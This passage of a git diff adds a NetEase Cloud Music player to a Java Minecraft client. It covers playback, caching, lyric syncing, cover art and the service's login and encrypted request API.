javafx.scene.media.Media; +import javafx.scene.media.MediaPlayer; +import net.ccbluex.liquidbounce.FDPClient; +import net.ccbluex.liquidbounce.event.EventTarget; +import net.ccbluex.liquidbounce.event.TickEvent; +import net.ccbluex.liquidbounce.utils.ClientUtils; +import net.minecraft.client.Minecraft; +import net.minecraft.client.renderer.IImageBuffer; +import net.minecraft.client.renderer.ImageBufferDownload; +import net.minecraft.client.renderer.ThreadDownloadImageData; +import net.minecraft.util.ResourceLocation; +import org.apache.commons.io.FileUtils; +import org.apache.http.HttpEntity; +import org.apache.http.HttpResponse; +import org.apache.http.client.HttpClient; +import org.apache.http.client.methods.HttpGet; +import org.apache.http.impl.client.HttpClients; + +import javax.imageio.ImageIO; +import java.awt.*; +import java.awt.geom.Ellipse2D; +import java.awt.image.BufferedImage; +import java.io.File; +import java.io.FileOutputStream; +import java.io.InputStream; +import java.io.OutputStream; +import java.net.URL; +import java.util.ArrayList; +import java.util.HashMap; +import java.util.concurrent.CopyOnWriteArrayList; + +/** + * @author Yarukon Created in 2021-4-6 + */ + +public class MusicManager { + public static MusicManager INSTANCE; + public static boolean showMsg = false; + + static { + INSTANCE = new MusicManager(); + } + + // 音乐封面缓存 + private final HashMap<Long, ResourceLocation> artsLocations = new HashMap<>(); + // 缓存文件夹 + private final File musicFolder; + private final File artPicFolder; + // 当前播放和播放列表 + public Track currentTrack = null; + public ArrayList<Track> playlist = new ArrayList<>(); + // 用于缓存音乐的线程 + public Thread loadingThread = null; + public Thread analyzeThread = null; + public float downloadProgress = 0; + public boolean repeat = false; + public float cacheProgress = 0; + public float[] magnitudes; + public float[] smoothMagnitudes; + // 歌词 + public Thread lyricAnalyzeThread = null; + public boolean lyric = false; + // public ScrollingText songNameScroll; +// public ScrollingText artistsScroll; + public boolean noUpdate = false; + public CopyOnWriteArrayList<Lyric> lrc = new CopyOnWriteArrayList<>(); + public CopyOnWriteArrayList<Lyric> tlrc = new CopyOnWriteArrayList<>(); + public HashMap<Long, ResourceLocation> circleLocations = new HashMap<>(); + public String lrcCur = "_EMPTY_"; + public String tlrcCur = "_EMPTY_"; + public int lrcIndex = 0; + public int tlrcIndex = 0; + public File circleImage; + // I'm stuck with JavaFX MediaPlayer :( + private MediaPlayer mediaPlayer; + + + public MusicManager() { + // 实例化缓存文件夹 + // Minecraft 实例 + Minecraft mc = Minecraft.getMinecraft(); + musicFolder = new File(mc.mcDataDir, ".cache/musicCache"); + artPicFolder = new File(mc.mcDataDir, ".cache/artCache"); + File cookie = new File(mc.mcDataDir, ".cache/cookies.txt"); + + if (!artPicFolder.exists()) + artPicFolder.mkdirs(); + + if (!musicFolder.exists()) + musicFolder.mkdirs(); // 文件夹不存在时创建 + + circleImage = new File(Minecraft.getMinecraft().mcDataDir.toString() + File.separator + FDPClient.CLIENT_NAME + File.separator + "circleImage"); + if (!circleImage.exists()) { + circleImage.mkdirs(); + } + +// songNameScroll = new ScrollingText(Helper.INSTANCE.fonts.siyuan16, "", Colors.WHITE.c); +// songNameScroll.setWidth(112); +// songNameScroll.setStepSize(.5f); + +// artistsScroll = new ScrollingText(Helper.INSTANCE.fonts.siyuan13, "", Colors.WHITE.c); +// artistsScroll.setWidth(112); +// artistsScroll.setStepSize(.5f); + + // JavaFX 初始化 + if (cookie.exists()) { + try { + String[] split = FileUtils.readFileToString(cookie).split(";"); + + CloudMusicAPI.INSTANCE.cookies = new String[split.length][2]; + + for (int i = 0; i < split.length; ++i) { + CloudMusicAPI.INSTANCE.cookies[i][0] = split[i].split("=")[0]; + CloudMusicAPI.INSTANCE.cookies[i][1] = split[i].split("=")[1]; + } + + new Thread(() -> { + try { + CloudMusicAPI.INSTANCE.refreshState(); + } catch (Exception ex) { + ex.printStackTrace(); + } + }).start(); + } catch (Exception ex) { + ex.printStackTrace(); + } + } + } + + // 加载本地音乐封面缓存 + public void loadFromCache(long id) { + + if (artsLocations.containsKey(id)) { + return; + } + + File path = new File(artPicFolder.getAbsolutePath() + File.separator + id); + if (!path.exists()) + return; + + new Thread(() -> { + artsLocations.put(id, null); + ResourceLocation rl = new ResourceLocation("cloudMusicCache/" + id); + IImageBuffer iib = new IImageBuffer() { + final ImageBufferDownload ibd = new ImageBufferDownload(); + + public BufferedImage parseUserSkin(BufferedImage image) { + return image; + } + + @Override + public void skinAvailable() { + artsLocations.put(id, rl); + } + }; + + ThreadDownloadImageData textureArt = new ThreadDownloadImageData(path, null, null, iib); + Minecraft.getMinecraft().getTextureManager().loadTexture(rl, textureArt); + }).start(); + } + + public ResourceLocation getArt(long id) { + return artsLocations.get(id); + } + + public void play(Track track) throws Exception { + this.noUpdate = false; + this.lrcIndex = 0; + this.tlrcIndex = 0; + if (this.currentTrack != null && this.currentTrack.id == track.id) { + this.noUpdate = true; + } else { + this.lrc.clear(); + this.tlrc.clear(); + this.lrcCur = "等待歌词解析回应..."; + this.tlrcCur = "等待歌词解析回应..."; + } + + this.currentTrack = track; + MusicManager.INSTANCE.loadFromCache(track.id); + + +// songNameScroll.updateText(); +// artistsScroll.updateText(); + + this.downloadProgress = 0; + + if (!showMsg) { + showMsg = true; + } + + if (mediaPlayer != null) { + mediaPlayer.stop(); + } + + File mp3File = new File(musicFolder, track.id + ".mp3"); + File flacFile = new File(musicFolder, track.id + ".flac"); + File artFile = new File(artPicFolder, "" + track.id); + + if (!mp3File.exists() && !flacFile.exists()) { + + if (loadingThread != null) { + loadingThread.interrupt(); + } + + loadingThread = new Thread(() -> { + try { + String addr = (String) CloudMusicAPI.INSTANCE.getDownloadUrl(String.valueOf(track.id), 128000)[1]; + CloudMusicAPI.INSTANCE.downloadFile(addr, addr.endsWith(".flac") ? flacFile.getAbsolutePath() : mp3File.getAbsolutePath()); + MusicManager.INSTANCE.downloadFile(track.picUrl, artFile.getAbsolutePath()); + play(track); + } catch (Exception ex) { + ClientUtils.INSTANCE.displayChatMessage("缓存音乐时发生错误, 可能是因为该歌曲已被下架或需要VIP!"); + if (mp3File.exists()) + mp3File.delete(); + + if (flacFile.exists()) + flacFile.delete(); + + ex.printStackTrace(); + } + + loadingThread = null; + }); + + loadingThread.start(); + } else { + Media hit = new Media(mp3File.exists() ? mp3File.toURI().toString() : flacFile.toURI().toString()); + mediaPlayer = new MediaPlayer(hit); + mediaPlayer.setVolume(1.0f); + mediaPlayer.setAutoPlay(true); + mediaPlayer.setAudioSpectrumNumBands(128); + mediaPlayer.setAudioSpectrumListener((double timestamp, double duration, float[] magnitudes, float[] phases) -> { + if (this.magnitudes == null || this.magnitudes.length < magnitudes.length || this.magnitudes.length > magnitudes.length) { + this.magnitudes = new float[magnitudes.length]; + this.smoothMagnitudes = new float[magnitudes.length]; + } + + for (int i = 0; i < magnitudes.length; i++) { + this.magnitudes[i] = magnitudes[i] - mediaPlayer.getAudioSpectrumThreshold(); + } + }); + mediaPlayer.setOnEndOfMedia(() -> { + if (repeat) { + try { + play(currentTrack); + } catch (Exception e) { + e.printStackTrace(); + } + } else { + next(); + } + }); + } + + if (!this.noUpdate) { + + if (this.lyricAnalyzeThread != null) { + this.lyricAnalyzeThread.interrupt(); + } + + this.lyricAnalyzeThread = new Thread(() -> { + try { + String[] lyrics = CloudMusicAPI.INSTANCE.requestLyric(CloudMusicAPI.INSTANCE.getLyricJson(String.valueOf(track.id))); + + this.lrc.clear(); + this.tlrc.clear(); + + if (!lyrics[0].equals("")) { + if (lyrics[0].equals("_NOLYRIC_")) { + this.lrcCur = currentTrack.name; + } else { + CloudMusicAPI.INSTANCE.analyzeLyric(this.lrc, lyrics[0]); + } + } else { + this.lrcCur = "(解析时发生错误或歌词不存在)"; + this.lrc.clear(); + } + + if (!lyrics[1].equals("")) { + if (lyrics[1].equals("_NOLYRIC_")) { + this.tlrcCur = "纯音乐, 请欣赏"; + } else if (lyrics[1].equals("_UNCOLLECT_")) { + this.tlrcCur = "该歌曲暂无歌词"; + } else { + CloudMusicAPI.INSTANCE.analyzeLyric(this.tlrc, lyrics[1]); + } + } else { + this.tlrcCur = "(解析时发生错误或翻译歌词不存在)"; + this.tlrc.clear(); + } + + } catch (Exception ex) { + this.lrc.clear(); + this.tlrc.clear(); + this.lrcCur = currentTrack.name; + this.tlrcCur = "(获取歌词时出现错误)"; + ex.printStackTrace(); + } + + }); + + this.lyricAnalyzeThread.start(); + } + + } + + @EventTarget + public void onTick(TickEvent evt) { + if (this.getMediaPlayer() != null) { + long mill = (long) this.getMediaPlayer().getCurrentTime().toMillis(); + if (!this.lrc.isEmpty()) { + if (this.lrc.get(this.lrcIndex).time < mill) { + lrcIndex += 1; + + this.lrcCur = this.lrc.get(lrcIndex - 1).text; + + if (this.tlrc.isEmpty()) { + this.tlrcCur = lrcIndex > this.lrc.size() - 1 ? "" : this.lrc.get(lrcIndex).text; + } + } + } + + if (!this.tlrc.isEmpty()) { + if (this.tlrc.get(this.tlrcIndex).time < mill) { + tlrcIndex += 1; + this.tlrcCur = tlrcIndex - 1 > this.tlrc.size() - 1 ? "" : this.tlrc.get(tlrcIndex - 1).text; + } + } + } + } + + + public void getCircle(Track track) { + + if (circleLocations.containsKey(track.id)) { + return; + } + + try { + if (!new File(this.circleImage.getAbsolutePath() + File.separator + track.id).exists()) { + this.makeCirclePicture(track, 128, circleImage.getAbsolutePath() + File.separator + track.id); + } + + ResourceLocation rl2 = new ResourceLocation("circle/" + track.id); + IImageBuffer iib2 = new IImageBuffer() { + + public BufferedImage parseUserSkin(BufferedImage a) { + return a; + } + + @Override + public void skinAvailable() { + circleLocations.put(track.id, rl2); + } + }; + ThreadDownloadImageData textureArt2 = new ThreadDownloadImageData(new File(circleImage.getAbsolutePath() + File.separator + track.id), null, null, iib2); + Minecraft.getMinecraft().getTextureManager().loadTexture(rl2, textureArt2); + } catch (Exception ex) { + ex.printStackTrace(); + } + } + + //TODO Make Circle Picture + public void makeCirclePicture(Track track, int wid, String path) { + try { + BufferedImage avatarImage = ImageIO.read(new URL(track.picUrl)); + + BufferedImage formatAvatarImage = new BufferedImage(wid, wid, BufferedImage.TYPE_4BYTE_ABGR); + Graphics2D graphics = formatAvatarImage.createGraphics(); + { + graphics.setRenderingHint(RenderingHints.KEY_ANTIALIASING, RenderingHints.VALUE_ANTIALIAS_ON); + int border = 0; + Ellipse2D.Double shape = new Ellipse2D.Double(border, border, wid - border * 2, wid - border * 2); + + graphics.setClip(shape); + graphics.drawImage(avatarImage, border, border, wid - border * 2, wid - border * 2, null); + graphics.dispose(); + } + + try (OutputStream os = new FileOutputStream(path)) { + ImageIO.write(formatAvatarImage, "png", os); + } catch (Exception ignored) { + } + } catch (Exception ex) { + ex.printStackTrace(); + } + } + + + public void downloadFile(String url, String filepath) { + try { + HttpClient client = HttpClients.createDefault(); + HttpGet httpget = new HttpGet(url); + HttpResponse response = client.execute(httpget); + + HttpEntity entity = response.getEntity(); + InputStream is = entity.getContent(); + + File file = new File(filepath); + FileOutputStream fileout = new FileOutputStream(file); + byte[] buffer = new byte[10 * 1024]; + int ch = 0; + + while ((ch = is.read(buffer)) != -1) { + fileout.write(buffer, 0, ch); + } + + is.close(); + fileout.flush(); + fileout.close(); + } catch (Exception e) { + e.printStackTrace(); + } + } + + public void next() { + try { + if (!playlist.isEmpty()) { + if (currentTrack == null) { + play(playlist.get(0)); + } else { + boolean playNext = false; + for (Track t : playlist) { + if (playNext) { + play(t); + break; + } else if (t.id == currentTrack.id) { + playNext = true; + } + } + } + } + } catch (Exception e) { + e.printStackTrace(); + } + } + + public void prev() { + try { + if (!playlist.isEmpty()) { + if (currentTrack == null) { + play(playlist.get(0)); + } else { + boolean playPrev = false; + for (int i = 0; i < playlist.size(); ++i) { + Track t = playlist.get(i); + if (playPrev) { + + if (i - 2 < 0) { + play(playlist.get(playlist.size() - 1)); + break; + } + + play(playlist.get(i - 2)); + break; + } else if (t.id == currentTrack.id) { + playPrev = true; + } + } + } + } + } catch (Exception e) { + e.printStackTrace(); + } + } + + public Track getCurrentTrack() { + return currentTrack; + } + + public MediaPlayer getMediaPlayer() { + return mediaPlayer; + } + + public Thread getLoadingThread() { + return loadingThread; + } +} diff --git a/src/main/java/cn/hanabi/gui/cloudmusic/api/CloudMusicAPI.java b/src/main/java/cn/hanabi/gui/cloudmusic/api/CloudMusicAPI.java new file mode 100644 index 0000000..39c4448 --- /dev/null +++ b/src/main/java/cn/hanabi/gui/cloudmusic/api/CloudMusicAPI.java @@ -0,0 +1,544 @@ +package cn.hanabi.gui.cloudmusic.api; + +import cn.hanabi.gui.cloudmusic.MusicManager; +import cn.hanabi.gui.cloudmusic.impl.Lyric; +import cn.hanabi.gui.cloudmusic.impl.Track; +import com.google.gson.JsonObject; +import com.google.gson.JsonParser; +import org.apache.commons.codec.digest.DigestUtils; +import org.apache.http.HttpEntity; +import org.apache.http.HttpResponse; +import org.apache.http.client.CookieStore; +import org.apache.http.client.HttpClient; +import org.apache.http.client.config.CookieSpecs; +import org.apache.http.client.config.RequestConfig; +import org.apache.http.client.methods.HttpGet; +import org.apache.http.client.methods.HttpPost; +import org.apache.http.client.protocol.HttpClientContext; +import org.apache.http.entity.StringEntity; +import org.apache.http.impl.client.BasicCookieStore; +import org.apache.http.impl.client.HttpClients; +import org.apache.http.impl.cookie.BasicClientCookie; + +import javax.crypto.Cipher; +import javax.crypto.spec.IvParameterSpec; +import javax.crypto.spec.SecretKeySpec; +import java.io.*; +import java.math.BigInteger; +import java.net.URLEncoder; +import java.nio.charset.StandardCharsets; +import java.util.ArrayList; +import java.util.Base64; +import java.util.Comparator; +import java.util.Random; +import java.util.concurrent.CopyOnWriteArrayList; +import java.util.regex.Matcher; +import java.util.regex.Pattern; + + +public enum CloudMusicAPI { + + INSTANCE; + + // Headers + final private String headers[][] = { + {"Accept", "*/*"}, + {"Accept-Language", "zh-CN,zh;q=0.8,gl;q=0.6,zh-TW;q=0.4"}, + {"Connection", "keep-alive"}, + {"Content-Type", "application/x-www-form-urlencoded"}, + {"Host", "music.163.com"}, + {"User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.4389.114 Safari/537.36"}, + {"Referer", "https://music.163.com/"}, + {"X-Real-IP", "117.181.172.1"} + }; + // Json Parser + private final JsonParser parser = new JsonParser(); + // Cookie + public String cookies[][] = { + {"os", "pc"}, + {"Referer", "https://music.163.com/"}, + {"__remember_me", "true"} + }; + + /** + * --使用手机号登录 + * + * @param phoneNum 手机号 + * @param passwd 密码 + * @return new Object[] {返回内容, CookieStore实例} + * @throws Exception + */ + public Object[] loginPhone(String phoneNum, String passwd) throws Exception { + JsonObject obj = new JsonObject(); + obj.addProperty("phone", phoneNum); + obj.addProperty("password", DigestUtils.md5Hex(passwd.getBytes())); + obj.addProperty("rememberLogin", true); + String data = this.encryptRequest(obj.toString()); + return this.httpRequest("https://music.163.com/weapi/login/cellphone", data, RequestType.POST); + } + + /** + * --获取二维码Key + * + * @return String 返回内容 + * @throws Exception + */ + public String QRKey() throws Exception { + JsonObject obj = new JsonObject(); + obj.addProperty("type", 1); + + String data = this.encryptRequest(obj.toString()); + + return ((JsonObject) parser.parse((String) this.httpRequest("https://music.163.com/weapi/login/qrcode/unikey", data, RequestType.POST)[0])).get("unikey").getAsString(); + } + + /** + * --查询二维码状态 + * + * @throws Exception + * @return Object[] {响应码, Cookies或Null} + */ + public Object[] QRState(String key) throws Exception { + JsonObject obj = new JsonObject(); + obj.addProperty("type", 1); + obj.addProperty("key", key); + String data = this.encryptRequest(obj.toString()); + + Object[] request = this.httpRequest("https://music.163.com/weapi/login/qrcode/client/login", data, RequestType.POST); + JsonObject result = (JsonObject) parser.parse((String) request[0]); + int code = result.get("code").getAsInt(); + + return new Object[]{code, request[1]}; + } + + /** + * --刷新登录状态 + * + * @throws Exception + * @return Object[] {返回内容, 无用返回} + */ + public Object[] refreshState() throws Exception { + return this.httpRequest("https://music.163.com/weapi/login/token/refresh", null, RequestType.POST); + } + + /** + * --获取指定用户的所有歌单 + * + * @param userId 用户ID + * @return new Object[] {返回码, 返回内容或null} + * @throws Exception + */ + public Object[] getPlayList(String userId) throws Exception { + String json = (String) this.httpRequest( + "http://music.163.com/api/user/playlist/?offset=0&limit=100&uid=" + userId, null, RequestType.GET)[0]; + JsonObject obj = (JsonObject) parser.parse(json); + + if (obj.get("code").getAsInt() != 200) { + return new Object[]{"获取歌单列表时发生错误, 错误码 " + obj.get("code").getAsInt(), null}; + } + + ArrayList<PlayList> temp = new ArrayList<>(); + + for (int i = 0; i < obj.get("playlist").getAsJsonArray().size(); ++i) { + JsonObject shit = obj.get("playlist").getAsJsonArray().get(i).getAsJsonObject(); + temp.add( + new PlayList(this.toDBC(this.getObjectAsString(shit, "name")), this.getObjectAsString(shit, "id"))); + } + + return new Object[]{"200", temp}; + } + + /** + * --获取歌词 + * + * @param songId 音乐ID + * @return String[] {返回码, 返回的内容} + * @throws Exception + */ + public String getLyricJson(String songId) throws Exception { + JsonObject obj = new JsonObject(); + obj.addProperty("id", songId); + obj.addProperty("lv", -1); + obj.addProperty("tv", -1); + return (String) httpRequest("http://music.163.com/song?id=" + songId, encryptRequest(obj.toString()), RequestType.POST)[0]; + } + + public String[] requestLyric(String result) { + String lyric = ""; + String transLyric = ""; + JsonObject phase = (JsonObject) parser.parse(result); + + if (!phase.get("code").getAsString().contains("200")) { + System.out.println("解析时出现问题, 错误码 " + phase.get("code").getAsString()); + return new String[]{"", ""}; + } + + if (phase.get("nolyric") != null) { + if (phase.get("nolyric").getAsBoolean()) { + return new String[]{"_NOLYRIC_", "_NOLYRIC_"}; + } + } + + if (phase.get("uncollected") != null) { + if (phase.get("uncollected").getAsBoolean()) { + return new String[]{"_NOLYRIC_", "_UNCOLLECT_"}; + } + } + + if (!phase.get("lrc").isJsonNull()) { + lyric = phase.get("lrc").getAsJsonObject().get("lyric").getAsString(); + } else { + lyric = ""; + } + + try { + if (!phase.get("tlyric").isJsonNull()) { + transLyric = phase.get("tlyric").getAsJsonObject().get("lyric").getAsString(); + } else { + transLyric = ""; + } + } catch (Exception ex) { + transLyric = ""; + } + + return new String[]{lyric, transLyric}; + } + + public void analyzeLyric(CopyOnWriteArrayList<Lyric> list, String lyric) { + + try { + String regex = "\\[([0-9]{2}):([0-9]{2}).([0-9]{1,3})\\]"; + String regex2 = "\\[([0-9]{2}):([0-9]{2})\\]"; + + Pattern pattern = Pattern.compile(regex); + Pattern pattern2 = Pattern.compile(regex2); + + for (String s : lyric.split("\n")) { + Matcher matcher = pattern.matcher(s); + Matcher matcher2 = pattern2.matcher(s); + + while (matcher.find()) { + String min = matcher.group(1); + String sec = matcher.group(2); + String mills = matcher.group(3); + String text = s.replaceAll(regex, ""); + + list.add(new Lyric(text, strToLong(min, sec, mills))); + } + + while (matcher2.find()) { + String min = matcher2.group(1); + String sec = matcher2.group(2); + String text = s.replaceAll(regex2, ""); + list.add(new Lyric(text, strToLong(min, sec, "000"))); + } + } + + list.sort(new LyricSort()); + } catch (Exception e) { + e.printStackTrace(); + System.out.println("解析歌词时发生错误"); + } + } + + // 字符串转毫秒 + public long strToLong(String min, String sec, String mill) { + int minInt = Integer.parseInt(min); + int secInt = Integer.parseInt(sec); + int millsInt = Integer.parseInt(mill); + return ((long) minInt * 60 * 1000) + (secInt * 1000L) + ((long) millsInt * (mill.length() == 2 ? 10 : 1)); + } + + /** + * --获取歌单的详细信息 + * + * @param playListId 歌单ID + * @return new Object[] {返回码, 数组或null} + * @throws Exception + */ + public Object[] getPlaylistDetail(String playListId) throws Exception { + + JsonObject request = new JsonObject(); + request.addProperty("id", playListId); + request.addProperty("n", 100000); + request.addProperty("total", true); + + String json = (String) this.httpRequest("https://music.163.com/weapi/v6/playlist/detail?id=" + playListId, this.encryptRequest(request.toString()), RequestType.POST)[0]; + JsonObject obj = (JsonObject) parser.parse(json); + if (obj.get("code").getAsInt() != 200) { + return new Object[]{"获取歌单详情时发生错误, 错误码 " + obj.get("code").getAsInt(), null}; + } + + ArrayList<Track> temp = new ArrayList<>(); + JsonObject result = obj.getAsJsonObject("playlist"); + + for (int i = 0; i < result.get("tracks").getAsJsonArray().size(); ++i) { + StringBuilder artist = new StringBuilder(); + + JsonObject shit = result.get("tracks").getAsJsonArray().get(i).getAsJsonObject(); + boolean isCloudDiskSong = shit.get("t").getAsInt() == 1; + + for (int a = 0; a < shit.get("ar").getAsJsonArray().size(); ++a) { + JsonObject _shit = shit.get("ar").getAsJsonArray().get(a).getAsJsonObject(); + if (_shit.get("name").isJsonNull() || isCloudDiskSong) { + artist = new StringBuilder(isCloudDiskSong ? "云盘歌曲/" : "未知作曲家/"); + } else { + artist.append(_shit.get("name").getAsString()).append("/"); + } + } + + artist = new StringBuilder(this.toDBC(artist.substring(0, artist.length() - 1))); + String songName = this.toDBC(this.getObjectAsString(shit, "name")); + temp.add(new Track(Long.parseLong(this.getObjectAsString(shit, "id")), + songName.startsWith(" ") ? songName.substring(1) : songName, artist.toString(), + this.getObjectAsString(shit.get("al").getAsJsonObject(), "picUrl"))); + } + + return new Object[]{"200", temp}; + } + + /** + * --获取歌曲下载地址 + * + * @param songId 歌曲ID + * @param bitRate 歌曲比特率 + * @return new Object[] {返回码, 下载地址或null} + * @throws Exception + */ + public Object[] getDownloadUrl(String songId, long bitRate) throws Exception { + JsonObject obj = new JsonObject(); + obj.addProperty("ids", "[" + songId + "]"); + obj.addProperty("br", String.valueOf(bitRate)); + String json = (String) this.httpRequest("https://music.163.com/weapi/song/enhance/player/url", + encryptRequest(obj.toString()), RequestType.POST)[0]; + + JsonObject result = (JsonObject) parser.parse(json); + + if (result.get("code").getAsInt() != 200) { + return new Object[]{"获取下载地址时发生错误, 错误码 " + result.get("code").getAsInt(), null}; + } + + return new Object[]{"200", + result.get("data").getAsJsonArray().get(0).getAsJsonObject().get("url").getAsString()}; + } + + public Object[] httpRequest(String url, String data, RequestType type) throws Exception { + return this.httpRequest(url, data, null, type); + } + + public Object[] httpRequest(String url, String data, CookieStore cookie, RequestType type) throws Exception { + // 全局请求设置 + RequestConfig config = RequestConfig.custom().setCookieSpec(CookieSpecs.BROWSER_COMPATIBILITY).build(); + + // 创建CookieStore实例 + CookieStore cookieStore = cookie == null ? new BasicCookieStore() : cookie; + cookieStore.clear(); + + if (cookie == null) { + for (String[] a : cookies) { + BasicClientCookie c = new BasicClientCookie(a[0], a[1]); + c.setPath("/"); + c.setDomain("music.163.com"); + cookieStore.addCookie(c); + } + } + + // 创建HttpClient上下文 + HttpClientContext context = HttpClientContext.create(); + context.setCookieStore(cookieStore); + + // 创建HttpClient + HttpClient httpClient = HttpClients.custom().setDefaultRequestConfig(config).setDefaultCookieStore(cookieStore) + .build(); + String resp = ""; + + switch (type) { + + case POST: + HttpPost httpPost = new HttpPost(url); + + for (String[] header : headers) { + httpPost.addHeader(header[0], header[1]); + } + + httpPost.setConfig(config); + + if (data != null) { + httpPost.setEntity(new StringEntity(data)); + } + + resp = httpClient.execute(httpPost, httpResponse -> getStringFromInputStream(httpResponse.getEntity().getContent()), context); + + CookieStore cs = context.getCookieStore(); + + return new Object[]{resp, cs}; + + case GET: + HttpGet httpGet = new HttpGet(url); + + for (String[] header : headers) { + httpGet.addHeader(header[0], header[1]); + } + + httpGet.setConfig(config); + + resp = httpClient.execute(httpGet, httpResponse -> getStringFromInputStream(httpResponse.getEntity().getContent()), context); + return new Object[]{resp, null}; + + default: + throw new NullPointerException("Invalid request type!"); + } + + } + + public void downloadFile(String url, String filepath) { + try { + HttpClient client = HttpClients.createDefault(); + HttpGet httpget = new HttpGet(url); + HttpResponse response = client.execute(httpget); + + HttpEntity entity = response.getEntity(); + InputStream is = entity.getContent(); + + long progress = 0; + long totalLen = entity.getContentLength(); + long unit = totalLen / 100; + + File file = new File(filepath); + FileOutputStream fileout = new FileOutputStream(file); + byte[] buffer = new byte[10 * 1024]; + int ch = 0; + + while ((ch = is.read(buffer)) != -1) { + fileout.write(buffer, 0, ch); + progress += ch; + + MusicManager.INSTANCE.downloadProgress = progress / unit; + } + + is.close(); + fileout.flush(); + fileout.close(); + } catch (Exception e) { + e.printStackTrace(); + } + } + + public String encryptRequest(String text) { + String secKey = createSecretKey(16); + // Key + String nonce = "0CoJUm6Qyw8W8jud"; + String encText = aesEncrypt(aesEncrypt(text, nonce), secKey); + String modulus = "00e0b509f6259df8642dbc35662901477df22677ec152b5ff68ace615bb7" + + "b725152b3ab17a876aea8a5aa76d2e417629ec4ee341f56135fccf695280" + + "104e0312ecbda92557c93870114af6c9d05c4f7f0c3685b7a46bee255932" + + "575cce10b424d813cfe4875d3e82047b97ddef52741d546b8e289dc6935b" + "3ece0462db0a22b8e7"; + String pubKey = "010001"; + String encSecKey = rsaEncrypt(secKey, pubKey, modulus); + try { + return "params=" + URLEncoder.encode(encText, "UTF-8") + "&encSecKey=" + + URLEncoder.encode(encSecKey, "UTF-8"); + } catch (UnsupportedEncodingException e) { + return null; + } + } + + public String aesEncrypt(String text, String key) { + try { + IvParameterSpec iv = new IvParameterSpec("0102030405060708".getBytes(StandardCharsets.UTF_8)); + SecretKeySpec skeySpec = new SecretKeySpec(key.getBytes(StandardCharsets.UTF_8), "AES"); + + Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding"); + cipher.init(Cipher.ENCRYPT_MODE, skeySpec, iv); + + byte[] encrypted = cipher.doFinal(text.getBytes()); + + return Base64.getEncoder().encodeToString(encrypted); + } catch (Exception ex) { + return ""; + } + } + + public String rsaEncrypt(String text, String pubKey, String modulus) { + text = new StringBuilder(text).reverse().toString(); + BigInteger rs = new BigInteger(String.format("%x", new BigInteger(1, text.getBytes())), 16) + .modPow(new BigInteger(pubKey, 16), new BigInteger(modulus, 16)); + StringBuilder r = new StringBuilder(rs.toString(16)); + if (r.length() >= 256) { + return r.substring(r.length() - 256); + } else { + while (r.length() < 256) { + r.insert(0, 0); + } + return r.toString(); + } + } + + public String createSecretKey(int length) { + String shits = "0123456789abcdefghijklmnopqrstuvwxyz"; + StringBuilder sb = new StringBuilder(); + for (int i = 0; i < length; ++i) { + sb.append(shits.charAt(new Random().nextInt(shits.length()))); + } + return sb.toString(); + } + + // 全角转半角 + public String toDBC(String input) { + char c[] = input.toCharArray(); + for (int i = 0; i < c.length; i++) { + if (c[i] == '\u3000') { + c[i] = ' '; + } else if (c[i] > '\uFF00' && c[i] < '\uFF5F') { + c[i] = (char) (c[i] - 65248); + } + } + return new String(c); + } + + public String getStringFromInputStream(InputStream is) { + BufferedReader br = null; + StringBuilder sb = new StringBuilder(); + String line; + try { + br = new BufferedReader(new InputStreamReader(is, StandardCharsets.UTF_8)); + while ((line = br.readLine()) != null) { + if (sb.length() != 0) { + sb.append("\n"); + } + sb.append(line); + } + } catch (IOException ex) { + ex.printStackTrace(); + } finally { + if (br != null) { + try { + br.close(); + } catch (IOException ex) { + ex.printStackTrace(); + } + } + } + + return sb.toString(); + } + + public String getObjectAsString(JsonObject obj, String member) { + return obj.get(member).getAsString(); + } + + public int getObjectAsInt(JsonObject obj, String member) { + return obj.get(member).getAsInt(); + } + + public enum RequestType { + GET, POST + } + + //用于排序 + public static class LyricSort implements Comparator<Lyric> { + public int compare(Lyric a, Lyric b) { + return Long.compare(a.time, b.time); + } + } +} diff --git a/src/main/java/cn/hanabi/gui/cloudmusic/api/PlayList.java b/src/main/java/cn/hanabi/gui/cloudmusic/api/PlayList.java new file mode 100644 index 0000000..da6aa85 --- /dev/null +++ b/src/main/java/cn/hanabi/gui/cloudmusic/api/PlayList.java @@ -0,0 +1,12 @@ +package cn.hanabi.gui.cloudmusic.api; + + +public class PlayList { + public String playListName; + public String playListId; + + public PlayList(String playListName, String playListId) { + this.playListName = playListName; + this.playListId = playListId; + } +} diff --git a/src/main/java/cn/hanabi/gui/cloudmusic/impl/Lyric.java b/src/main/java/cn/hanabi/gui/cloudmusic/impl/Lyric.java new file mode 100644 index 0000000..43b5923 --- /dev/null +++ b/src/main/java/cn/hanabi/gui/cloudmusic/impl/Lyric.java @@ -0,0 +1,12 @@ +package cn.hanabi.gui.cloudmusic.impl; + + +public class Lyric { + public long time; + public String text; + + public Lyric(String text, long time) { + this.text = text; + this.time = time; + } +} diff --git a/src/main/java/cn/hanabi/gui/cloudmusic/impl/Track.java b/src/main/java/cn/hanabi/gui/cloudmusic/impl/Track.java new file mode 100644 index 0000000..766b75c --- /dev/null +++ b/src/main/java/cn/hanabi/gui/cloudmusic/impl/Track.java @@ -0,0 +1,16 @@ +package cn.hanabi.gui.cloudmusic.impl; + + +public class Track { + public long id; + public String name; + public String artists; + public String picUrl; + + public Track(long id, String name, String artists, String picUrl) { + this.id = id; + this.name = name; + this.artists = artists; + this.picUrl = picUrl; + } +} diff --git a/src/main/java/cn/hanabi/gui/cloudmusic/ui/CustomTextField.java b/src/main/java/cn/hanabi/gui/cloudmusic/ui/CustomTextField.java new file mode 100644 index 0000000..4aff289 --- /dev/null +++ b/src/main/java/cn/hanabi/gui/cloudmusic/ui/CustomTextField.java @@ -0,0 +1,238 @@ +package cn.hanabi.gui.cloudmusic.ui; + +import net.ccbluex.liquidbounce.font.CFontRenderer; +import net.ccbluex.liquidbounce.font.FontLoaders; +import net.ccbluex.liquidbounce.utils.render.ColorUtils; +import net.ccbluex.liquidbounce.utils.render.RenderUtils; +import net.minecraft.client.gui.GuiScreen; +import net.minecraft.util.ChatAllowedCharacters; +import org.lwjgl.input.Keyboard; +import org.lwjgl.opengl.GL11; + +import java.awt.*; +import java.awt.datatransfer.Clipboard; +import java.awt.datatransfer.DataFlavor; +import java.awt.datatransfer.Transferable; + +public class CustomTextField { + + public String textString; + public float x; + public float y; + public boolean isFocused; + public boolean isTyping; + public boolean back; + public int ticks = 0; + public int selectedChar; + public float 